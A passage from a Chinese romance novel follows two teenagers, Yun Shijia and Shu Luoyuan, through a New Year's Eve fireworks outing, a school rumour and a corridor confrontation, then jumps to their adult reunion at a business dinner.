她知道向笙和喜欢半路开香槟,但没想到连烟花都要提前放。
云诗加对放烟花不感兴趣,她被梅中的那帮变态学霸打击得体无完肤,原想在这几天假期里多刷几套题,但被向笙和软磨硬泡了半天,还是答应在除夕夜陪他放烟花。
除夕夜这天,乡下的外婆被接来一起过年,云诗加陪着外婆说了好些话,外婆帮忙洗碗之余一直在絮絮叨叨,叮嘱着云诗加说高三不要掉以轻心,云诗加耐心听着。
陈明华吃完饭,洗了把脸,说跟牌友早就约好要打牌就出门了,临出门前还抱怨了一句年夜饭的饭煮得有点硬。
看着厨房里忙前忙后的妈妈和外婆,云诗加的嘴唇动了动,终究没说什么,她打开电视,听见向笙和在楼下喊她的名字,她高声应了一句。
出门前,云诗加的手机震动,收到了涂玉棋的新年祝福,青田中学的班群里也一片热闹,她依依回复后想了想,给舒洛原也发了一条:【新年快乐!】
生怕舒洛原误以为她是群发的,她又加了一条:【舒洛原,祝你新年快乐!】
那一年的除夕没那么冷,云诗加出门时没带围巾,快步往下走时裹紧了身上的羽绒服,在楼道里闻着饭菜香辨别各家各户的年夜饭大菜是什么,外面已经有人放起了烟花,楼道窗玻璃都被震得砰砰作响。
走到楼道口,看见向笙和举着几个烟花筒跃跃欲试,“去哪里放?”
云诗加被冷风猛地一吹,吸了吸鼻子说:“随便,去空旷点的地方吧。”
“护城河边吧,怎么样?”向笙和提议。
云诗加皱了皱眉,“太远了吧,那得坐公交去。”
向笙和挠了挠头,“嘿嘿,我女朋友住在那边,我想放给她看。”
云诗加:“……你又换了哪个?上一个不是就住在后面的小区吗?”
向笙和只能利诱她:“你就说陪不陪我去嘛……这样吧,我们打车去。”
云诗加摇头。
“那……下次去超市或者书店,你挑,我买单!”向笙和横了心。
“成交!这还差不多,走吧。”云诗加狡黠地一笑。
跨年夜的出租车没那么好打,向笙和接到了亲亲女友的电话,站在避风处黏黏糊糊地和女友聊着天,云诗加站在路边吹风拦车。
她感觉手机又震动了一下,点开碎屏的手机一看,舒洛原回复她:【新年快乐!吃过年夜饭了吗?】
云诗加想回复他,但发现手机屏幕的裂缝横穿整个斜角,发送键正好卡在缝隙处,突然失灵了。
好不容易拦到了出租车,云诗加拽着还在对手机那头“啵啵啵等会儿见”的向笙和上了车,一上车她就夺过向笙和的手机,说:“借我发个信息。”
她用向笙和的手机登陆了自己的Q.Q。
云诗加:【吃过了,准备去护城河边放烟花。】
她看见那一头在不停地输入中,很快,他发来一句:【在哪里?我能看到吗?】
云诗加:【就在梅中后面的大桥上。】
舒洛原这次没有犹豫:【我方便来吗?】
云诗加:【当然可以!】
她把向笙和挤到一旁去,坐在出租车后座的中央,对着后视镜照了照,外婆今天早些时候带她去新剪的刘海有点太短了,露出她细长的眉毛,显得有些幼态和变扭,总之她看不太惯。
“我的刘海奇怪吗?”她问。
向笙和有点不明所以,扭头盯着她:“还……还行啊。”
“会不会有点太短了?”
她皱着眉问,转眼又发现下巴上长了一颗红色的痘,眉头蹙得更紧了。
“挺可爱的。”向笙和拿回了他的手机,低头回女友的消息,随意敷衍道。
“算了,问你也是白问。”
云诗加把目光投向窗外,出租车驶过古城区一段正在整修的路,坑坑洼洼的路面让出租车行驶缓慢,云诗加的身体上下颠簸,车窗外的路边,几个孩子正在玩摔炮,啪啪地往地上掷着,他们每掷一下,就像把她的心脏也掷在了地上,云诗加感觉自己的心在地上一蹦一跳的。
到了桥上,不少人已经围在桥边欣赏夜景,护城河里的水流安静地流淌,向笙和走到桥边等待女友,他转头问云诗加:“要买汽水吗?我请客。”
云诗加摇了摇头。
她跟着人流在桥边踱步,突然她的左肩被拍了拍,她往左转头,右肩又被拍了一下,她笑了笑,依旧往左转头。
舒洛原的脸出现在左边,他穿着一件米白色的大衣配黑色高领毛衣,举着一个带蛋筒的冰淇淋,已经化了,乳白色的液体顺着蛋筒往下流,流过他骨节分明的手指,垂在指腹边缘欲滴。
“新年快乐,吃冰淇淋吗?”他笑着问。
“新年快乐,怎么只有一个?”虽然这么问,但云诗加没有客气,直接接过冰淇淋,伸出舌尖把流淌在蛋筒上的冰淇淋舔舐掉,又张嘴一口咬掉了冰淇淋的尖尖。
“出门急,没带够零钱。”他说。
“哦。”云诗加转过身,面对着河面,看着桥下的诸人聚成一簇簇的。
在沉默还没酿成尴尬之前,向笙和带着他的女友从桥头走过来找他们,没有多做介绍,向笙和便扛着烟花包往桥中心去了。
云诗加扭头看了看舒洛原,说,“我们跟上吧。”
舒洛原点了点头。
向笙和兴致很高,他还从家里摸了一台相机带出来,他的新女友是位高挑靓丽的女生,大冬天仍然穿裙子露着腿,美丽冻人,向笙和放了两个短时的烟花,举相机给女友咔嚓咔嚓拍了许多照片。
但他女友对他的拍照技术似乎有些不满意,嘟着嘴巴说要自己用手机自拍几张,便往桥的另一侧去了。
向笙和才想起他们,他看向云诗加,“你们俩要不要拍照?”
云诗加吃完了冰淇淋,吞下蛋筒的最后一个三角锥,她点头,“好啊,把我拍好
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看点。”
“兄弟,你也一起拍吧。”向笙和招呼舒洛原,还给他们提供动作指导,“兄弟你站这边,对,往左边一点,欸对,头低一点,好了好了,这样正好。”
云诗加僵直着身体,她不能往后靠,因为身后是年久铁锈的栏杆,她怕把锈迹蹭到身上,左侧是另一簇放烟花的人,他们的烟花举得不够稳,几乎都要崩到她身上,右侧是挺拔笔直的舒洛原,她再挪动几厘米,就会触碰到他宽阔的肩膀。
向笙和找了找角度,摁了几下快门后看了一下成片,摆手说:“不行,这里有点暗,光线不太好,你们整体往右边挪动一下,OKOK,这样很好。”
向笙和对着取景框大声指挥着,他的脚也跟着无意识地往右后方挪动。
突然,云诗加左侧的那群人一时脱了手,手持的加特林烟花掉落在地上,还没燃放结束的烟花一时失了控,往桥墩上炸了几炮,声响巨大,霎时间尖叫声此起彼伏,所有人都大惊失色,一窝蜂往桥头跑去。
就在这混乱之中,向笙和的相机不知被谁碰掉了,他条件反射弯腰去捡,却没注意刚刚已经后退到了桥的边缘,桥墩不够高,他重心失稳,几乎要往河边的石墩上栽过去。
情急时刻,是舒洛原一个箭步穿过人群,拽住了向笙和的胳膊把他往回拉,还顺手勾起了他的相机。
向笙和捂着胸口,惊魂未定,突然开始大喘气:“吓死我了,谢谢兄弟,谢谢、谢谢!”
云诗加也目睹一切,晚了一步冲过来,往桥墩下看,起码有五六米,摔下去骨折起步、上不封顶,她没忍住扬声说:“向笙和!你怎么这么不小心!你简直吓死我了!要是舒洛原没有拽住你怎么办!”
“呼……幸好没摔下去,不然青田中学少了我这个帅哥,学妹们要怎么度过美好的高中生活呢?”向笙和依旧嬉皮笑脸。
云诗加看他笑嘻嘻的样子,反倒有些生气了:“你也太不把自己的生命当回事了!要是要是……今天还是大年夜,你让我怎么跟你爸妈交代!我……”
舒洛原拽了拽云诗加的胳膊,对她摇头,云诗加才住了嘴。
那个失控的烟花已经燃尽了,锥形烟花筒躺倒在桥中心的石板上,人群也恢复了刚才的平静,但因为这场小事故,许多人也都有些后怕,陆续离开了。
向笙和的女友逆着人流过来找到了他们,问说:“刚才怎么了?大家怎么都走了?我刚走到下面的巷子里自拍,差点迷路了。”
向笙和其实心里也有点后怕了,但在女朋友面前维持面子,没好意思表现出来。
“没什么,刚刚发生了点小事故,刚才幸好你不在,不然肯定吓到了,不过没担心,我肯定会保护你,英雄救美什么的我最在行了……”
云诗加无语地跟舒洛原对视了一眼。
看见人群都散得差不多了,向笙和的女友拍够了照片,没穿袜子的腿很冷,便撒娇要向笙和送她回去了,向笙和勾着舒洛原的肩膀说:“兄弟,今天感谢你,下次请你吃饭!你帮我照顾好她啊,打车费我来出!我先走一步!”
舒洛原对于向笙和这种自来熟的行为有些不适,他轻轻挪开自己的肩膀,淡淡点头应了一声。
云诗加和舒洛原目送他们离去,还听见向笙和的女朋友问他说:“你什么时候跟你朋友带来的那个很帅的男生这么熟了?”
向笙和的声音突然变得高昂:“他有我帅?!”
云诗加扶额叹了口气。
收回目光,云诗加听见身后有一道被冷风吹得微哑的声音:“我没有他帅吗?”
与此同时,她感受到少年的胸膛就在她的背后起伏着,热气透过大衣与冷空气,传达到她的后颈,烫着她的灵魂。
砰——啪——
远处另一座桥头也有人在放烟火,红色的烟花在空中绽放出一团圆润的火。
云诗加的眼眸被烟花照射成彩色的,她感觉刚才惊险一瞬的心跳还没平复,心内的烟火也在升腾燃放。
她没有转头,面朝着烟花盛放的那片夜空,把自己小声的勇敢融隐在巨大的烟花声中。
“舒洛原,我觉得你最好看。”
11. 011 树上会开花
舒洛原对那个除夕夜也印象深刻。
他爸舒望农和他妈叶宝珍吵了一架。
吵架的原因很简单,两人工作都很忙,没时间照顾他,便互相推卸责任、互相责怪,随后延申到生活细节进行指责。
他爸怪他妈因为医生职业习惯,在家过度消毒,搞得老的小的累得慌,他妈怪他爸把蟹塘的泥啊灰啊带到家里来,搞得家里门口总是不干净。
舒望农和叶宝珍时常吵架,但毕竟是年轻时自由恋爱、跨过异地恋再走进婚姻的夫妻,一时气头上过去了,隔天也就和好了。
他们吵架的时候,舒洛原在书房里玩游戏,FPS游戏需要集中注意力,但他的耳朵里总是漏进几句冷言冷语,还伴着楼下客厅电视机里放的春晚热闹歌舞声。
连输了两局,他拿起手机一看,班群里消息一直叮叮作响,云诗加的祝福就在屏幕上方跳出来。
他突然想到了她那个晚上流的泪。
云诗加的大眼睛时常是清澈的,总带着一股莫名的倔意,透过她的眼睛,他好像能看见她的一切,但又蒙着一层朦胧的窗纱,当这双眼睛里聚满了眼泪时,他就看不清了。
他不想看不清。
所以当她说起放烟花的时候,他鬼使神差地问了地点。
短暂逃离家,和才认识不到半个月的女孩,去看一场烟火。
至少在除夕夜,她的笑容看起来真心了许多,没有那么多忧愁在眼睛里。
她说,她觉得他最好看。
冷风和烟火声把她的话吹得又轻又散,他诧然地侧耳:“你说什么?”
云诗加回过头,眨着她那双依然动人的眼睛,她说:“我说,你,好看,最好看,梅中第一大帅哥,行吗?”
她的眸子亮亮的,倒映着烟火与河流的水波,他一时没说出什么话,呆呆地说了一句:“你也好看。”
云诗加短促地笑了一声,似乎没把他的话放在心上,转身往桥下面走。
舒洛原跟了上去,他呆呆地又重复了一遍,生怕她不信:“真的,云诗加,你很好看。”
走到了桥边的一棵香樟树下,云诗加抬头看了看树冠,又看了看他。
“我知道,”她说,“我知道我好看的。”
舒洛原的巧言被她的不按套路出牌哽住了,他沉默了片刻,只“哦”了一句。
“你看,冬天的树上也会开花。”她指着香樟树的树顶。
舒洛原走过去,与她并肩站在一起,顺着她的手指看去,树枝的交错处能看见烟花的盛放,就像树枝开了花一样,与此同时,他闻到她身上的花朵一样的芬芳,似乎是头发上的味道。
是洗发水的味道吗?
他不知道,但他由此联想到的画面实在不能够再允许他往下遐想。
于是他甩了甩头,静静看着这一簇烟花燃放殆尽,“我们要不要去哪里逛逛?”
云诗加浑然不知他刚刚所想,问道:“你想去哪里?”
他摇了摇头,想说,去哪里都可以,但还是选择了一个答案说出来,他说:“要不我带你去一个秘密地方?就在市图书馆的后面,很近。”
“好啊。”她说。
反正她也不想回家。
少男少女并肩走在除夕夜的街头,原本熙攘的闹市区人烟稀少,偶有一辆车快速驶过,冬天的冷风吹在脸上,世界静谧得就只剩下他们和谐的脚步声。
“好安静。”她吸了吸鼻子感叹。
“冷吗?”他把围巾脱下来,在她脖子上绕了一圈。
云诗加低头看,还是那条黄蓝色格子的围巾,他似乎在这个冬天偏爱这一条,依旧是暖的,带着他的体温。
她低声说:“谢谢。”
“快到了,你等我先上去。”
绕过街道,钻进了一条巷子,舒洛原指着一堵被拆剩下一半的围墙说。
“这里?”云诗加疑惑地问,虽然跟市图书馆相邻,但这里明显是一处废弃的民居,围墙里头堆满了杂物和建筑垃圾。
眨眼间,舒洛原已经跳上了围墙,半蹲着朝她伸出手。
云诗加把手递过去,与他的手掌相握,热意从掌心传递过来,云诗加感觉有一股轻飘飘的力将她托了起来,她不知怎地,已经跃上了围墙头。
她的心跳因为身体的骤然升高而变得快节奏,他没松开她的手,拉着她往杂物堆积的高处又走了几步,翻过另一堵围墙,从一个废弃楼梯往上爬。
“小心。”他指着脚边裸露的钢筋说。
很快到了一个砖砌的平台上,在他们手心的体温变成一致之前,他松开了她的手,她莫名觉得手心开始快速失温的同时还在冒着手汗。
舒洛原从口袋里掏出一张纸巾,铺在了平台的边缘上,又捡起墙角的砖块压住风中飘摇的纸巾边缘。
“坐吧。”
他拍了拍纸巾旁边的灰尘,随意坐在一旁,然后抬腿顺着臀部的支点旋转,把腿荡在平台外,看向古城区的夜景。
云诗加坐在了纸巾上,小心翼翼地把身体朝外旋转过来,虽然脚下就是高高堆积的杂物,即便摔下去应该也无大碍,但她还是谨慎过头,小腿勾在平台的外墙檐口上,一手抓着平台边缘凸起的一块砖石保持身体的稳定。
坐了一会儿,她逐渐放松了,看向夜景,远处桥头的人们依旧在持续不断地点燃烟火,夜空被不同颜色的烟火照亮又消失,一簇又一簇,护城河的河流汩汩,生生不息,河畔的排排民居和树木古老又安静。
“好看吗?”舒洛原突然哼起了歌,他的短发在风中被吹得有些凌乱,侧脸被完全地展露在云诗加的眼前。
“好看,”她却不合时宜地想问他一个问题,她也确实问了出来,“舒洛原,你要去清大吗?”
舒洛原的歌声暂停了,他笑了笑:“嗯,但你一定要在这么好的夜晚,这么漂亮的夜景,问这么严肃的问题吗?那你呢,你想去哪里读大学,云诗加?”
他突然叫了她的名字,云诗加一愣,她嗫嚅着嘴唇,说了个模棱两可的答案:“大城市吧,考上哪里都可以。”
随后她笑了笑,把远眺的视线收回到近处,目光
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在黑黢黢的街景中梭巡。
近处能看见梅中的操场跑道,还有梅中的教学楼顶,掩藏在昏黄路灯和树影中,附近簇拥着一片狭小的街道和民居。
“欸那边……”云诗加指着一个民居的院墙,“那树梅花……”
舒洛原的目光顺着她的手指去找,但夜色太浓,他没看清,眯着眼睛问:“什么?哪里有梅花?”
“没什么。”云诗加摇了摇头。
那树梅花不大,不过只有那伸出墙外的一枝开得比较好,其余的树枝都隐在小小的院落里,并不起眼,这么多民居,这么多树,她不知道要怎么描述它的具体方位。
就像她也无法详细地描述,她与那一枝梅花的故事,该怎么说,她因为那枝梅花捡到了他的校园卡的故事呢,以一个浪漫的开头,还是以一个戏谑的开头。
她还没想好怎么说,索性便不说了。
她说:“我可能看错了。”
舒洛原又重新哼起了歌,冷风让空气变得格外洁净,他的歌声让砖石都变得柔软,云诗加听着,渐渐松开了抓住身后砖石的手。
她把两只手臂都举了起来,张开手指,正好一阵风吹来,风从她的手指缝里钻过去,围巾被风吹起,扬在她的脑袋后头。
“新!年!快!乐!”她高声喊着。
舒洛原也配合着举起手臂,顺着她的尾音做和声:“快~乐~”
云诗加不服输也加了音调起伏,给调子顺口填了词:“快!乐!Ohyeah!”
舒洛原笑得眼睛眯起来,他作举手投降状,“即兴创作歌神,我投降!”
他们吹了很久的冷风,唱了很久的歌,从千禧年代的歌王唱到网络神曲,他们发现两人的歌单重合度是出乎意料的高。
唱到那句:“为你翘课的那一天,滑落的那一天,教室的那一间……”
沉寂过片刻的夜空突然又开始爆发式地燃放,其中有几束橘黄色的火焰从他们头顶窜过,发出噼啪噼啪的巨大响声。
舒洛原从口袋里摸出了手机,点亮手机屏幕,他把屏幕举到了云诗加的面前,隔着巨大的烟火声,他藏在刺眼的手机屏幕后的嘴巴蠕动,口型似乎在说着什么。
云诗加被突如其来的过近的轰炸声吓得捂住了耳朵,她高声问道:“你说什么……?!”
舒洛原放下了手机屏幕,拿下她捂着耳朵的一侧手臂,把双手圈成喇叭状,嘴巴凑到了她的耳边。
“云诗加!零点了!新年快乐!”
他的声音穿过她的耳膜,直达心脏,天色变得清澈如黑色绸缎,大地随着欢庆而咕噜作响,有一缕滚烫的气息喷在她的耳廓上,心火燃放出沉醉的欢呼雀跃。
她把捂着耳朵的另一侧的手也放了下来,有样学样,把手卷成一个筒,她的嘴唇凑近了他的耳边,大声地祝福他:
“舒洛原!祝你心想事成!”
她不想让这寒风凛冽的除夕夜里,只有她一人的心上开了一朵橙红色的火花,灼灼地燎着她的呼吸,那太可惜了。
她想要他也一样。
12. 012 香樟树下
后来舒洛原不止一次复盘,他究竟是在哪一刻爱上她的。
可是他始终没有结论。
一开始,他不过是因为那杯浇下的水感到歉意,然后是她尴尬到赤红的面颊和那晚楚楚可怜的泪眼让他想安慰几句,后来,他也只是莫名想和她说说话。
直到那场风波,他才确定了,有些感情就像潘多拉的盒子,一旦打开,就再也合不上了,只能任由它倾泻,然后让一切都一发不可收拾。
短暂的寒假转瞬即逝,梅中的高三生们比其他学生更早开学,回了学校,舒洛原就听到一些同学们在厕所里和走廊上窃窃私语,似乎在讨论着有家长举报梅中补课的事情。
这种举报并不常见,过去的举报大多数是家长抱怨学校没有安排补课,反过来的案例属实是破天荒。
于是学生间便有了诸多猜测。
有说是不学无术的学生家长举报的,有说是其他学校的妒忌梅中的成绩才举报的。
后来不知怎的,诸多说法传着传着,就怀疑到了舒洛原的头上。
舒洛原早就拿到了清大招录计划的降分录取资格,他只需要在高考中发挥平时成绩的三分之二就可以顺利收到录取通知书。
虽然这样的学生在梅中不止他一个,可他在别人讨论补课的时候曾经说过一句,他觉得过量补课对高三生来说是不必要的,充足的睡眠、营养的饮食和健康的身体才能让大家走得更远。
这句话被引申出了别的意思,他们说他的优越无处招摇,一时间谣言四起。
云诗加是从涂玉棋口中听来的,谣言像一张密不透风的网将舒洛原包裹了起来,可这张网是透明的,他不知道谣言的出处是哪里,也不知道是谁在传播,他好像只能选择沉默,只能等待这一阵风暴过去。
那天舒洛原请了假,云诗加本就在猜测他请假的原因是否跟谣言有关,在走廊上听见有人又在议论,云诗加忍不住停下来为他抱不平:
“舒洛原才不是这种人,别人问他借笔记,他都会大方借,问他题目他也会耐心解答,这样的人怎么会去举报呢?”
议论的人中有一个邻班的男生,他把云诗加从头到脚扫视了一遍,轻佻地说:“知人知面不知心,你怎么知道不是他?”
还有一位认出了她是外校的插班生,更是轻蔑,“他帮助你们这种插班生当然热心,你们又威胁不到他的排名。”
怎么能跟人证明一件本就不存在的事情?
何况这群人本就怀有偏见。
云诗加突然觉得无力,跟他们多说一句都算白费口舌。
她扭头就走了。
但身后的议论却越发不堪入耳,那个邻班的男生突然把话题转移到她的头上:“舒洛原就仗着那张脸骗骗小女生呢,这种插班生最好骗了,没见过什么世面,说不定就因为一些小恩小惠,偷偷暗恋人家,所以才替他说话呢……”
周围窸窸簌簌,云诗加收到了许多怪异的侧目。
她深呼吸了一口,停下了脚步。
然后猛地转身,朝刚才那个碎嘴的男生走过去,那个男生个头不算高,她直接用手揪住了他的领口,将他整个人提到了自己的面前。
“你再说一遍。”她说得很慢,但声音很大,掷地有声。
周围的人捕捉到冲突,高三本就枯燥无味,连教室里的人都闻声走了出来,云诗加一下子成为了风暴的中心。
那个男生赤红着脸,扭动着身体去拽她的手,但云诗加从小在陈明华的餐馆里端的盘子可不是白端的,她手上的劲儿丝毫没有放松,男生见她不是个软柿子,突然不承认了。
“我说什么了我?你要打我啊?”
“我、让、你、再重复一遍、刚才说的话。”她再次扬声说。
有几个与这个男生相熟的人,突然在人群中怂恿:“喂,李勇,你居然怕女生啊?”
李勇涨红着脸,突然鼓了气,“我怕什么?我刚说你暗恋舒洛原,怎么了?我说错了吗?你不喜欢他你替他说什么话,还是说你恼羞成怒了?”
云诗加刚要说些什么,突然感觉到身后有人靠近,一只手从背后伸过来,掌心覆在她的手背上,让她不知觉地卸了力。
李勇的领子被松开,脚跟落了地,但下一秒,他的肩头就被另一只手捏住,那只手把他往下摁,他的两只脚掌死死钉在地面,动弹不得。
“舒洛原?”云诗加抬眼,不知他何时回了学校。
“李勇。”舒洛原记得他,李勇是高一高二时竞赛班上的同学,但省赛落败没拿到名校计划资格,几年的竞赛努力都付诸东流,“李勇,你是嫉妒我吗?”
“什……什么嫉妒,你说什么呢……”李勇被戳中了内心的隐秘,嘴瓢了。
“嫉妒心不可怕,可怕的是背后造谣,还不敢承认。”
舒洛原说得大声,环视四周,确保周围的人都听见了他的话,然后松开了他的肩膀,拉着云诗加的手臂挤开人群走远了。
身后的议论声渐渐散了。
云诗加被他拉着走,她看着阳光洒在他的肩上,他身上干净的皂荚香气被阳光烤热了钻进她的鼻腔。
不知不觉走到了走廊的尽头,这里连接着操场的入口,一些上体育课的学生从他们身旁跑过。
舒洛原停在了操场入口的一棵香樟树下,松开了她的手臂。
“你不怕他反手打你吗?”
云诗加抬头,看见他眼睛里的紧张,她又垂下头,去踩地上掉落的一粒粒黑色的香樟籽,踩碎后的香樟籽会发出“泼”的一声,然后在地上留下一抹黑渍。
“我不怕,我打得过他。”
她嘴硬地说,但其实刚刚一时的肾上腺素已经褪去,她感觉自己的指尖在发抖。
舒洛原闻言笑了,“你这么力大无穷呢?”
“对,”云诗加看着地面上还有阳光从树叶缝隙投射下来的光斑,她也跟着笑了,“我幼儿园就跟男孩子打架,我爸妈都不知道,因为男生打输了好面子不告诉老师和家长。”
舒洛原弯腰侧头,歪着看她垂下的眼眸,他笑眯眯的,“你爸妈都不知道的事情,你告诉我了?”
云诗加抬眼,发现他正低头看她,她的嗓子紧了一下,然后闭了闭眼睛,说:“你要是说出去,我也会打你的。”
“哈哈哈哈……”
舒洛原突然仰头笑了一声,他在
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花坛的边缘坐下了,顺手把花坛旁边的灰尘掸了掸,说:“坐。”
云诗加想了想,坐下来,她问:“你今天不是请假了吗?”
舒洛原勾起嘴角,“对,因为早上起不来,索性睡了个懒觉吃完午饭再来。”
“我以为你是因为谣言才……”说到这里,云诗加愣了一下,随即笑出声,她肩膀抖动,像是被自己逗笑了,“亏我还为你抱不平,原来你心态好着呢……”
校园不知何时逐渐安静了下来,头顶掉下一片落叶,正好落在云诗加头顶的丸子头上。
舒洛原伸手将那片落叶拈起,他荡下的衬衫袖口从她的脸颊拂过,那股阳光晒过的皂香在她的鼻子前堆积得愈发浓郁了,她止不住打了个喷嚏。
他没直接把落叶扔掉,反而捏在手指尖,把落叶旋转了起来,云诗加静静盯着看,落叶在他的指尖像一片振翅欲飞的蝴蝶。
蝴蝶停了下来,她听见他突然很认真地说:“谢谢你。”
然后她的脸更红了,鼻子更痒了。
“马上上课了,我该回去了。”她突然站起来,格子裙摆荡落在她的小腿上。
“好,那我们回教室。”舒洛原也站起了身,他的脚踩在了一粒香樟籽上,他听见剥落的一声,感觉心里也有什么东西被剥开了似的。
但她说:“不不,我们不要一起回去。”
舒洛原看着她的后脑勺,张了张嘴,一时没说话,他“嗯”了一声。
可等到云诗加走回走廊前的台阶上时,他还是没忍住,叫住了她:“云诗加。”
云诗加回过了头,她攥住了裙摆的一边,看见仍旧站在香樟树下的少年在对她笑,他的衬衣洁白,树叶间投下的光斑在他身上有些刺目的白,还有偏爱他的风,把他的刘海一角吹起,让光斑映影在他微微仰起的脸上。
而在那一刻的舒洛原的眼里,也只有一个裙摆飘飞的少女,扭着雪白细长的脖颈,她静静地站在那里,用那样真诚而纯净的目光注视着他,让他有一些凝滞的心悸,又让他的血液燃烧。
他说:“云诗加,或许你愿意,考一个北城的大学吗?”
上课铃响了,叮铃铃的声音格外刺耳。
他突然有些急切地往前小跑了几步,他的声音里混着铃声的催促:“清大附近有很多学校,北城是你想去的那种大城市吗?”
云诗加感觉风把她的碎发吹得凌乱了,她偏了偏头,什么都没说,踩着铃声在走廊上跑了起来。
舒洛原慢慢踱回了教室的后门,云诗加就坐在后门靠窗的位置上,她摸着凌乱的碎发,抬手重新把丸子头扎了一遍,但老师已经踏进了教室,她一时没扎好,发尾在颈下晃了晃,荡下几缕发丝。
舒洛原感到心里也一阵荡漾。
他在北窗下的位置上坐下,偏头看见,窗下的那片草坪已经发了绿芽,冬日的枯草焕发生机,那块她曾经坐过的石头上也爬满了绿色的新生命。
他的手机在裤袋里震动了一下。
是云诗加发来的Q.Q消息。
她的头像不知何时从一个流行的卡通人物换成了一枝幽幽盛放的梅花。
她说:【好。】
13. 013 哦,缘分。
自从知道了新楼盘的事情,云诗加连续几周的周五傍晚都去工地堵人,但几次都扑了空,直到都快放弃了,才堵到了绿木集团的领导。
但她看清带头的那位安全帽下的脸,很意外:“谢总?好巧。”
谢如一摘下了安全帽,对她挑眉:“云小姐?”
云诗加准备充足,一袭米白色西装套裙,她伸手向谢如一示好:“看来我们很有缘分,谢总,我上次就说您太谦虚了,什么小生意,我的那个小工作室才是小生意,这不,到处抱佛脚呢。”
谢如一笑得和蔼:“云小姐,我这只手还没好透呢……”
看见他的风衣下挂着一只仍旧裹着纱布和夹板的手臂,云诗加一拍脑袋:“哎呦!谢总您应该在家好好休养才是,也太敬业了!”
谢如一耸肩:“我不过是个二世祖,哦不,应该算是三世祖,我只是帮我祖父来巡视一圈,他老人家身体不好,让他少操些心。”
云诗加回忆了一下在网上搜寻到的关于绿木集团的资料,确实有位姓谢的股东,但她根据年纪判断他不参与实际经营,背调做的不多,现在属实有些恼恨,但也只能硬着头皮往下聊。
“您有这份孝心就是难得的。”她讪讪笑。
“云小姐今天是来湖边散步?”没等她回答,谢如一走到一旁接了个电话,接完回来对云诗加扬眉说:“巧了,今天都凑在一起了,舒总也要过来,我们约了等会儿一个饭局,还有几位朋友小聚,云总要不要一起去?”
正中她的下怀。
云诗加眼睛放光:“好呀好呀。”
她跟着谢如一上了他的商务车,来到了一家新开的粤菜餐厅,听说最近一位难求。
餐厅是古朴的装修风格,服务生在前头带头,推开包厢门,绕过玻璃砖和绿植墙,云诗加看见金丝珐琅镶嵌着复古灯球从大圆餐桌顶部垂落,熠熠生辉,包厢里的红木软靠沙发上已经坐着几个年纪不一的男人,几位手里掐着雪茄,吞云吐雾。
在创业之前,云诗加对于这种饭局是厌恶的,她并不喜欢应酬,但无奈,创业后这样的场合总是少不了,她只能避免一些无效社交。
其中被围坐在中间的一位四十出头的男人起身给谢如一打招呼,恭敬地双手与他交握,但垂下的眼眸却向她瞥来暧昧的一眼。
云诗加熟悉这种眼神,职场上总免不了有人对她的身份有刻板预设,面前这位定然认为她是谢如一带来的女伴。
但她并不打算去戳破这种固然印象。
她反而笑吟吟地朝那位男人点头。
谁知他得寸进尺。
谢如一淡淡地向诸位解释:“这位是云诗加、云总,做景观生意的,各位名下的豪宅房产有院落造景需求,可以找云总咨询,她是这方面的行家。”
那位原本恭敬的男人听了谢如一的介绍,反倒起了异色,他反问道:“云小姐是这方面的行家?可有考过什么证书?”
云诗加回答:“我有园林工程师证书和注册城乡规划师的证书。”
那男人听了,依旧不放过她,眼神扫过圆桌中间摆着的桌花盆景,起了心思:“哦?那云小姐对这盆桌上的插花有什么修改建议?我看着总觉得不顺眼,要不你帮忙调整一下。”
云诗加看出他的无缘恶意,但她不愿意当场拂他的面子,也是给带她来这场饭局的谢如一面子,她屏气了几秒,脸上依旧挂着笑。
“好啊。”
她坐靠在圆桌边缘,伸手够到盆景,三下五除二,把高山羊齿的叶片向外舒展开,作羽毛状,又将过高过艳的一支玫瑰取下,把灰绿色的尤佳利果从边缘拨弄到蓬松的小手球花附近,让整个作品表现出小雪压青松的气质。
最后,她将几枝绿叶红花的火龙珠从侧边移出来,捏在手里盘算,还没想好要怎么将花材利用回去。
舒洛原就是在这时候进来的。
他推开包厢的门,大步跨进,第一句先问谢如一的伤情:“老谢,你的手好点了吧?这两天我想起你摔下船的场景都睡不着觉,生怕让你落下什么病根就是我的罪过了。”
谢如一摆摆手:“别提这事儿了,不怪你,我自己不当心,你原本就叮嘱过我要小心,别靠近船边缘,是我贪看风景了。”
云诗加的身体正好被谢如一挡住了一半,舒洛原接过服务生新泡的茶水时,才注意到他身后还有一个人。
他对上了她的眼睛,金丝珐琅的灯罩闪着中式的美艳,灯光流溢在她脸上,让她的肤色像一抹白牛奶,奇异地在灯下流淌。
但他还看到她眼里的求全与委屈,还有一丝怨愤扫过他侧后方的一位老男人。
他知道,她从来不爱抱怨什么。
即便是如今,她也只是安静地坐在圆桌的边缘上,半身裙紧绷,掐出一抹腰后的弧线,一只小腿因为踮在地上显得笔直而诱惑,一只小腿半勾着椅腿压出红痕。
他觉得呼吸一窒,随后他立刻明白了她在做什么,又是被授了谁的意。
舒洛原突然笑了笑,望向那位组饭局的男人,“王总,听说您最近周转困难?虽说我觉得是谣言,外面人瞎传的,但今天真是眼见为实,连桌上的插花您都得劳烦咱客人自己来,简直称得上是勤俭节约了。”
这话说得属实难听,其余人都变了脸色。
但舒洛原没有让这番话有发酵的时间,他眸色一暗,上前把云诗加扶了下来,卡其色休闲西服被他脱下罩在她的肩头,一股男士香水的气息讲她笼罩了起来。
“云总,我突然想起,我们还有水系的方案没有定下来,这一看到你,才想起这方案十万火急了,不如我们先行离席,处理公事,如何?”
她对上他深墨般的眸子,轻轻点了点头。
谢如一也对这位不识相的组局者起了厌,他挠了挠头,也跟着说:“王总,这方案恐怕也与我有关,失陪了,改日再请你喝酒。”
三人从包厢出来走廊一路直行,下了停车场,云诗加和舒洛原应邀,一道上了谢如一的商务车,天彻底暗了下来,车窗外的夜色流光溢彩。
舒洛原钻进了最后一排,云诗加和谢如一坐在前排,她先是转头道歉,“谢总,不好意思啊,我刚刚……”
“这有什么,我看那个王总是秋后的蚂蚱,迟早要完。”
云诗加尴尬地一笑,知道他不在意这些,便只好找其他话题跟谢如一有一搭没一搭地聊着,省得车厢太过沉默。
“谢总,您跟舒洛……舒总,是怎么认识的呀?”
“我大学在北林上的,跟他们清大有一个研究项目合作,后来又在创业比赛上碰到了,一来一回就熟悉了,况且他说他是苏城人,我虽然没有出生在苏城,但我祖父是苏城人,他经常跟我提起苏城的很多事情,我对这里也很有感情。”
“哦……那你们的缘分还挺奇妙的,我原本也想去北林读书,可惜没考上,不然我们就成校友了,说不定还能分到一个班呢。”云诗加说。
